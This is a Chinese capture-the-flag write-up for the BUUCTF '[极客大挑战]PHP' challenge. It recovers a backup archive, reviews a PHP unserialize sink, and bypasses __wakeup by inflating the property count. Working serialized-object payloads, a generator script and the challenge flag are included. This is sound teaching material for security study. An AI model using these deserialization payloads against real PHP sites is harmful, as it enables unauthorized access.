【buuctf】[极客大挑战]PHP

admin 2025年4月21日00:35:11评论5 views字数 4442阅读14分48秒阅读模式

[极客大挑战]PHP

访问url:

http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/

首页如下:

【buuctf】[极客大挑战]PHP

从题目名称上来看,是一道关于PHP的题目,然后首页又给出了提示,存在备份网站的习惯。

用御剑后台扫描工具进行扫描

【buuctf】[极客大挑战]PHP

访问url:

http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/www.zip

下载源文件

解压后包括以下文件:

index.php
flag.php
class.php
style.css

index.php

源码如下:

<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        positionabsolute;   
        top50%;   
        left:50%;   
        margin-150px 0 0 -150px;   
        width300px;   
        height300px;   
    }   
    h4{   
        font-size2em;   
        margin0.67em 0;   
    }
</style>
<body>

<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html

其中包含了一段php代码,如下:

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

包含了class.php文件,并且以get方式获取select参数,然后将select的值进行反序列化(这里应该要用到序列化与反序列化)。

class.php源码,如下:

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();            
        }
    }
}
?>

在这段代码的__destruct()方法中,发现了输出flag的代码,并且,执行条件是password==100,username===‘admin’。

接下来,就有考虑如何调用__destruct()方法了,这就用到了index.php中的反序列操作。

可以将序列化的Name对象作为select参数的值提交。当执行反序列化之后,又恢复成Name对象,并且,在Name对象销毁时,会自动调用__destruct()方法。

当时这里用个问题,就是在执行__destruct()方法之前,可能会先执行wakeup()方法,并且在wakeup()会修改username的值。

因此,这里应该绕过wakeup()方法,避免wakeup()执行。

这里存在一个CVE漏洞:当成员属性数目大于实际数目时可绕过wakeup方法

接下来可以开始构造php序列化对象,这里有两种方法:

(1)通过php脚本,将serialize($a)函数序列化的结果输出。脚本生成php序列化对象参考代码如下:

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用时将URL编码的结果中Name后面的2换成3或其他值
?>

运行后结果:

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

payload:

http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

得到flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}

【buuctf】[极客大挑战]PHP

(2)private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字

段名在序列化时,类名和字段名前面都会加上的前缀。字符串长度也包括所加前缀的长度

于是我们再构造一回pyload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}

【buuctf】[极客大挑战]PHP

攻防交流群

【buuctf】[极客大挑战]PHP

声明

免责声明:该文章内容仅用于学习交流自查使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息、技术或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,公众号儒道易行及作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

原文始发于微信公众号(儒道易行):【buuctf】[极客大挑战]PHP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日00:35:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【buuctf】[极客大挑战]PHPhttps://cn-sec.com/archives/3977230.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息